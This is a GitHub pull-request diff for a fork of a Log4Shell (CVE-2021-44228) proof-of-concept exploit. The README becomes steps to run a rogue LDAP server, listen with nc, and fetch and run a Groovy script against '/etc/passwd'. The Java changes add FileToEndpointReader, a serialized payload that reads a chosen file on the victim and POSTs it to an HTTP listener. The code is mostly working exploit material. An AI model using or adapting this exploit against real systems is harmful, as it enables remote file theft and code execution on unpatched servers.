Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 16 additions & 33 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,42 +1,25 @@
# Log4J-RCE-Proof-Of-Concept (CVE-2021-44228)
This is a fork of https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept, which did the legwork in getting remote execution. This repo is only just demonstrating how it could be used maliciously.

This is a proof of concept of the log4j rce.

Here are some links for the CVE-2021-44228:
- https://www.lunasec.io/docs/blog/log4j-zero-day
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://github.com/apache/logging-log4j2/pull/608
- https://www.youtube.com/watch?v=JPGola6BamU
# Steps to Run
(1) Clone and run this repo:
```bash
git clone https://github.com/srt4/Log4J-RCE-Proof-Of-Concept/tree/update-to-read-files`
./gradlew build runMain
```

This bug affects nearly all log4j2 and maybe log4j1 versions. The recommended version to use is **2.15.0** which fixes the exploit.
Leave it open - it's the "LDAP Server".

## Demonstration with minecraft (which uses log4j2)
(2) Run: `nc -l 8080`

- Details for the impact on minecraft are listed here: https://twitter.com/slicedlime/status/1469150993527017483
- Article from minecraft is here: https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
- Fixed minecraft forge versions: https://twitter.com/gigaherz/status/1469331288368861195
- Fixed minecraft fabric versions: https://twitter.com/slicedlime/status/1469192689904193537
- Fixed minecraft paper versions: https://twitter.com/aurora_smiles_/status/1469205803232026625
- Fixed minecraft spigot versions: https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
- Fixed minecraft sponge versions: https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196
This is where the file will be posted.

### Lag or sending serialized data

- Paste ``${jndi:ldap://127.0.0.1/e}`` in the chat. If there is an open socket on port ``389`` logj4 tries to connect and blocks further communiction until a timeout occurs.
- When using this proof of concept exploit, the log in the console will log ``THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT!`` which is a serialized string object from the ldap server.
(3) Download and run the Groovy script using a vulnerable version of log4j2, as well as setting the flag to mimic older JVMs (n.b. it's unclear how many of these exist in production, but likely to be few. The newer JVMs can still be exploited but likely less severely)

![image](https://user-images.githubusercontent.com/7681220/145529175-b6f88cf0-67d0-450b-a834-87942202d594.png)
```bash
curl https://gist.githubusercontent.com/srt4/4fb4b537bb48599279e0380e097081e2/raw/76a0051b744d5afa6babe346e5a706a31ff39025/log4j-rce.groovy > log4j-rce.groovy
groovy log4j-rce.groovy '//etc/passwd'
```

- Additionally the malicious ldap server receives every ip address where the message is logged. This means that ip adresses of players on a server can be collected which this exploit.

### RCE

- Paste ``${jndi:ldap://127.0.0.1/exe}`` in the chat. If ``-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`` is set to true the remote code execution will happen.

![image](https://user-images.githubusercontent.com/7681220/145529797-a3952c3e-c81e-4e91-b383-490688736f9c.png)

- Fortunately modern jdks disable remote class loading by default. (https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
- Old versions may still allow this!!



Now the logs should be visible in stages (1) and (2)
5 changes: 5 additions & 0 deletions build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,11 @@ dependencies {
implementation 'com.unboundid:unboundid-ldapsdk:3.1.1'
}

task(runMain, dependsOn: 'classes', type: JavaExec) {
main = 'Exploit'
classpath = sourceSets.main.runtimeClasspath
}

test {
useJUnitPlatform()
}
11 changes: 5 additions & 6 deletions src/main/java/Exploit.java
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,6 @@
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import rofl.ROFL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
Expand All @@ -25,7 +24,7 @@
public class Exploit {

public static void main(String... args) throws Exception {
final var port = 389;
final var port = 3389;

try {
final var config = new InMemoryDirectoryServerConfig("dc=exploit,dc=com");
Expand All @@ -52,8 +51,8 @@ private static final class OperationInterceptor extends InMemoryOperationInterce

System.out.println("Process search result for " + baseDn);

if (baseDn.equals("exe")) {
sendExeResult(result, new Entry(baseDn));
if (baseDn.startsWith("exe")) {
sendExeResult(baseDn, result, new Entry(baseDn));
} else {
sendSerializedResult(result, new Entry(baseDn));
}
Expand All @@ -64,8 +63,8 @@ private static final class OperationInterceptor extends InMemoryOperationInterce

// Works only if the system property com.sun.jndi.ldap.object.trustURLCodebase is true
// ${jndi:ldap://127.0.0.1/exe}
private void sendExeResult(InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException, IOException, ClassNotFoundException {
final var send = new ROFL();
private void sendExeResult(String path, InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException, IOException, ClassNotFoundException {
final var send = new FileToEndpointReader(path.split("exe/")[1]);
final var location = Exploit.class.getResource("").toString();

final var serializedStream = new ByteArrayOutputStream();
Expand Down
55 changes: 55 additions & 0 deletions src/main/java/FileToEndpointReader.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@


import java.io.Serializable;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpHeaders;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.net.http.HttpRequest.BodyPublishers;
import java.nio.file.Files;
import java.nio.file.Path;
import java.time.Duration;

public class FileToEndpointReader implements Serializable {

private static final HttpClient httpClient = HttpClient.newBuilder()
.version(HttpClient.Version.HTTP_1_1)
.connectTimeout(Duration.ofSeconds(10))
.build();


private final String filename;

public FileToEndpointReader(String filename) {
this.filename = filename;
}

@Override
public String toString() {
try {
HttpRequest request = HttpRequest.newBuilder()
.POST(BodyPublishers.ofString(Files.readString(Path.of(filename))))
.header("User-Agent", "log4j-rce-test")
.header("X-Filename", filename)
.uri(URI.create("http://localhost:8080/"))
.build();

HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());

// print response headers
HttpHeaders headers = response.headers();
headers.map().forEach((k, v) -> System.out.println(k + ":" + v));

// print status code
System.out.println(response.statusCode());

// print response body
System.out.println(response.body());
} catch (Exception e) {
e.printStackTrace();
}

return "FileToEndpointReader(filename = " + filename + ")";
}
}
19 changes: 0 additions & 19 deletions src/main/java/rofl/ROFL.java

This file was deleted.